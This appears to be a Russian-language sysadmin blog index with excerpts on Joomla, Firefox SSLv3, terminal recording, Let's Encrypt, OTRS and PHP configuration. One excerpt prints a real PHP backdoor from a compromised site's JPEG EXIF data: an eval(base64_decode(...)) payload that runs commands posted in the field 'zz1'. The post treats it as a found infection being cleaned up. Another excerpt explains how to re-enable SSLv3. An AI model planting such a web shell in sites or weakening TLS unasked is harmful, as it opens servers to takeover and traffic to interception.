Уязвимость плагина Googlemaps в Joomla! к атаке DDoS

plugin_googlemap2_proxy.phpНевзирая на то что устаревшая Joomla! v1.5 считается уязвимой, она до сих пор находится у меня на попечении. Мне удалось не разбираясь с самой CMS защитить её от модификации кода простой установкой атрибута immutable. С тех пор много лет подряд сайт работает без каких либо патчей и изменений. Но вот вчера пришло оповещение от системы мониторинга которое вопило о проблемах с сервером где “крутится” эта CMS. Я обнаружил что один сайт порождает огромное количество процессов apache и сильно нагружает сервер. Довольно быстро этот сайт-виновник был обнаружен и отключён. Отключён потому что работал он на shared платформе и приносил проблемы доступности другим сайтам. Далее разбираясь с тем что происходит я обнаружил большое количество запросов из интернет вызывающее скрипт:

http://сайт-виновник/plugins/content/plugin_googlemap2_proxy.php

Continue reading Уязвимость плагина Googlemaps в Joomla! к атаке DDoS

Firefox включение SSLv3

После обнаружения уязвимости Poodle Attack Mozilla выпускает Firefox с заблокированным по умолчанию SSLv3. Это логично так как протокол уязвим и передаваемые внутри него данные могут быть легко перехвачены. Однако SSLv3 используется и в оборудовании, например на устаревших свитчах и роутерах Cisco или на которые не оплачивается техподдержка. Обновления не приходят, а значит и SSLv3 остаётся там основным протоколом. Безусловно глупо входить в такие устройства через публичную сеть. Но если свитч находится за VPN то можно. Так вот чтобы вернуть SSLv3 в новых браузерах Firefox нужно зайти на магическую страничку about:config и там найти параметр security.tls.version.min после чего установить его значение в 0

  • 0 = SSL 3.0
  • 1 = минимально TLS 1.0
  • 2 = минимально TLS 1.1

После этого можно входить на свитч, роутер или что там у вас. После манипуляций лучше параметр снова поднять до версии TLS 1.0.
Для информации: браузер имеет ещё один ключ security.tls.version.max который, как понятно из названия, ограничивает протокол сверху.

Запись терминальной сессии

Для записи терминальной сессии можно использовать обычный подход, записывать видео. Однако в этом есть два неудобства: во-первых видео занимает много места, во-вторых из видео нельзя сделать copy&paste текстовой информации.

Оба эти недостатка отсутствуют в программе asciinema. Её файлы маленькие и поддерживается copy&paste.

Галерею работ можно посмотреть на https://asciinema.org/.
И сразу можно сделать копию для себя так как исходный код прилагается.
Исходный код плеера
Исходный код для сайта

А с помощью другой утилиты можно устроить живую демонстрацию своей консоли.

Трансляция окна своей консоли как WEB приложения

GoTTY позволяет устроить демонстрацию окна своей консоли как web приложения.

Для эмуляции терминала на JavaScript в интернет браузерах Gotty использует hterm. Gotty имеет свой websocket сервер перебрасывает PTY веб-клиентам и принимает ввод от клиентов и перебрасывает его на PTY. Идея hterm + websocket была навеяна Wetty.

Для каждого клиента подсоединяющегося к websocket GoTTY порождает новый процесс и это значит, что напрямую нельзя расшаривать терминал многим клиентам. Однако можно использовать мультиплексор терминала tmux. Но в этом случае клиенты будут находиться в режиме viewonly без передачи нажатий клавиатуры в терминал, а тот кто будет подключён локально сможет управлять терминалом.

Распространяется под лицензией MIT.
Исходники на https://github.com/yudai/gotty

Также имеется и утилита которая позволяет сделать легковесные файлы с записью работы в терминальной сессии и воспроизводить их в браузере.

HTTPS в каждый web! Быстро и бесплатно.

letsencrypt-01

В ноябре 2014 года Mozilla, Akamai, Cisco, EFF (Electronic Frontier Foundation), Identrust и исследователи из Мичиганского университета начали совместную работу над созданием центра сертификации (Certificate Authority) который призван снять оставшиеся ограничения на пути полного перехода сайтов на протокол HTTPS.

С запуском запланированого на лето 2015 года, Let’s Encrypt CA будет автоматически выдавать и управлять бесплатными сертификатами для любого веб-сайта, который в них нуждается. Переключение вебсервера с HTTP на HTTPS с этим CA будет таким же простым, как запуск одной команды или нажатие одной кнопки.

Continue reading HTTPS в каждый web! Быстро и бесплатно.

Пакетная очистка вируса из EXIF информации в картинках

Сегодня получили абузу от апстрима чьи IP адреса мы используем на одном из серверов с shared хостингом. Краткая суть заключалась в том что на таком-то сайте был обнаружен файл содержащий вирус.

|2014-09-23 12:53:44 CEST |41522804 |JPG:PHPAgent-A Trj |xxx.xxx.xxx.xxx |*******.*** |http://www.*******.***/media/k2/items/cache/12abae3c81505932f6f2610e7cdfbe24_S.jpg

Картинка представляла собой небольшую иконку и файл занимал 4.6 килобайт. Внутри оказалась EXIF информация, что для такой малоформатной иконки было странным.

Exif Byte Order                 : Little-endian (Intel, II)
Make                            : /.*/e
Camera Model Name               : eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
Comment                         : CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 85.

Continue reading Пакетная очистка вируса из EXIF информации в картинках

OTRS + Centos 6.5

При установке системы OTRS на Centos 6.5 Final обнаружилось что автостарт OTRS Scheduler не работает.

Первое что выяснилось сервис  otrs  почему-то не прописался в  chkconfig , хотя сам файл скрипта в  /etc/init.d/  положил.

[root@testit ~]# chkconfig | grep otrs
[root@testit ~]#

Что ж, прописываем руками

[root@testit ~]# chkconfig --add otrs
[root@testit ~]# chkconfig otrs on
[root@testit ~]# chkconfig | grep otrs
otrs            0:off   1:off   2:on    3:on    4:on    5:on    6:off

После перезапуска системы видим на консоли или в файле  /var/log/boot.log 

Starting httpd: [ OK ]
Starting crond: [ OK ]
Starting OTRS..
 Checking httpd ...  failed!
  --> Please start the web server first! (service httpd start) <--

Несмотря на то что httpd нормально стартует, otrs вываливается считая, что httpd не запущен.
Continue reading OTRS + Centos 6.5

Ошибка WEB сервера при посте больших объёмов данных

Некоторые пользователи WordPress, когда пытаются запостить большой текстовый пост или страницу сталкиваются со следующей ошибкой:

HTTP Error: 413 Request Entity Too Large
Request Entity Too Large
The requested resource
/wp-admin/post.php
does not allow request data with POST requests, or the amount of data provided in the request exceeds the capacity limit.


Аналогичная ошибка может проявиться в любых других CMS, так как она связана с настройками безопасности WEB сервера.
Continue reading Ошибка WEB сервера при посте больших объёмов данных

Простой скрипт автоматического рестарта http сервера

Если по непонятным причинам web сервер повисает, а времени на разбирательства нет, то неплохим вре́менным решением будет автоматический перезапуск web сервера. Такая ситуация сложилась с одним проектом у знакомого, администратор которого накануне уехал в отпуск. Вот скрипт который отлично справился с задачей.
Continue reading Простой скрипт автоматического рестарта http сервера

apache не выполняет php скрипт, а отображает его содержимое.

<?php
phpinfo();
?>

Современные версии php по умолчанию не обрабатывают короткий тэг. То есть, надо писать не

<?
phpinfo();
?>

но

<?php
phpinfo();
?>

Настройка находится здесь:
/etc/php.ini

short_open_tag = Off

Нужно включить On посде этого будет обрабатываться короткий открывающий тэг.